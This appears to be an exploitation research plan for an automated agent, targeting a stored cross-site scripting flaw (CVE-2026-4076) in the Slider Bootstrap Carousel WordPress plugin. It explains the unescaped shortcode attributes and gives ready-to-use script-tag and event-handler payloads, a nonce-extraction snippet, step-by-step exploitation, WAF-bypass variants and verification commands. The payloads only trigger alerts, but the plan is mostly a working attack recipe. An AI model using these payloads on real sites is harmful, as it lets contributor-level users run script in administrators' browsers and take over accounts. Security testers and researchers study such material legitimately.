Exploitation Research Plan: CVE-2026-4076

1. Vulnerability Summary

The Slider Bootstrap Carousel plugin for WordPress (versions <= 1.0.7) is vulnerable to Stored Cross-Site Scripting (XSS) via shortcode attributes. The plugin uses extract() on the results of shortcode_atts() to process user-supplied attributes like category and template. These variables are subsequently echoed directly into HTML attributes (id, data-target, href, and class) within the frontend output without being passed through escaping functions like esc_attr(). This allows a user with Contributor-level permissions or higher to inject malicious JavaScript into a post or page, which will execute in the context of any user (including administrators) who views that content.

2. Attack Vector Analysis

• Shortcode Name: [slider-bootstrap-carousel] (inferred from plugin slug).
• Vulnerable Attributes: category and template.
• Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes but lack the unfiltered_html capability, making this a privilege escalation in terms of script execution.
• Endpoint: Post/Page editor (/wp-admin/post-new.php or /wp-admin/post.php).
• Payload Delivery: The payload is embedded within the shortcode attributes saved in the post_content field of a WordPress post.
• Sink Contexts:
  • category: Echoed into id, data-target, and href.
  • template: Echoed into a class attribute.

3. Code Flow

1. Entry Point: A user with Contributor permissions saves a post containing the shortcode: [slider-bootstrap-carousel category='payload'].
2. Shortcode Registration: The plugin registers the shortcode (likely in the main file or a shortcode-specific include) using add_shortcode().
3. Parsing (Vulnerable): The callback function for the shortcode uses shortcode_atts() to define defaults and then extract() to turn keys into local variables.

   // Representative vulnerable code pattern
   function slider_shortcode_callback( $atts ) {
       extract( shortcode_atts( array(
           'category' => '',
           'template' => 'default',
       ), $atts ) );
       // ...
   

4. Execution/Sink:
   • Line 38/47/109/113: The $category variable is echoed into attributes:
     <div id="<?php echo $category; ?>" data-target="#<?php echo $category; ?>">
<a href="#<?php echo $category; ?>">
   • Line 93: The $template variable is echoed into a class:
     <div class="carousel <?php echo $template; ?>">
5. Output: Since no esc_attr() or sanitize_text_field() is applied, the payload breaks out of the HTML attribute and injects a script tag.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a standard WordPress post/page. There are no plugin-specific nonces required to trigger the shortcode processing.

To save the post as a Contributor:

1. Use browser_navigate to go to /wp-admin/post-new.php.
2. The standard WordPress _wpnonce and _wp_http_referer are generated by the core post editor.
3. The PoC agent should use browser_type or browser_click to interact with the editor and save the post, or extract the _wpnonce from the page source if attempting a direct http_request to wp-admin/post.php.

Variable extraction for Post Nonce:

// To be run via browser_eval on the post-new.php page
window._wpnonce || document.querySelector('#_wpnonce')?.value

5. Exploitation Strategy

1. Authentication: Log in to the WordPress instance as a Contributor.
2. Payload Preparation:
   • Payload A (Category): "><script>alert('XSS_CATEGORY')</script>
   • Payload B (Template): "><script>alert('XSS_TEMPLATE')</script>
3. Post Creation:
   • Create a new post.
   • Set the content to: [slider-bootstrap-carousel category='"><script>alert("XSS_CATEGORY")</script>' template='"><script>alert("XSS_TEMPLATE")</script>']
   • Publish/Submit the post for review.
4. Triggering:
   • Log in as an Administrator.
   • Navigate to the URL of the newly created post (or view it in the preview).
5. Verification: Check if the browser executes the alert() calls.

6. Test Data Setup

• User: Create a user with the username contributor_test and role contributor.
• Plugin: Ensure slider-bootstrap-carousel version <= 1.0.7 is installed and active.
• Post Content:

  Check out this carousel:
  [slider-bootstrap-carousel category='carousel-1"><script>console.log("CVE-2026-4076-CAT")</script>' template='tpl"><script>console.log("CVE-2026-4076-TPL")</script>']
  

7. Expected Results

• When the post is rendered, the HTML source should look similar to:

  <div id="carousel-1"><script>console.log("CVE-2026-4076-CAT")</script>" data-target="#carousel-1...
  <div class="carousel tpl"><script>console.log("CVE-2026-4076-TPL")</script>">
  

• The browser console should show CVE-2026-4076-CAT and CVE-2026-4076-TPL.

8. Verification Steps

1. Database Check: Verify the payload is stored in the wp_posts table.

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post'"
   

2. HTML Inspection: Use http_request to fetch the post content and grep for the raw payload.

   # Assuming post ID is 123
   http_request GET "/?p=123" | grep "script"
   

3. Role Verification: Confirm the user who created the post does not have unfiltered_html.

   wp user cap list contributor_test | grep unfiltered_html
   

   (Expected: empty output)

9. Alternative Approaches

• Event Handler Injection: If <script> tags are stripped by a WAF, use event handlers:
  category='x" onmouseover="alert(1)" x="'
• Attribute Breakout: If the plugin wraps values in single quotes instead of double quotes, adjust the payload:
  category="x'><script>alert(1)</script>"
• URL-based Trigger: If the category attribute is used inside an href as href="#$category", try the javascript: protocol:
  category='javascript:alert(1)' (Note: href="#javascript:..." might fail, so breakout is preferred).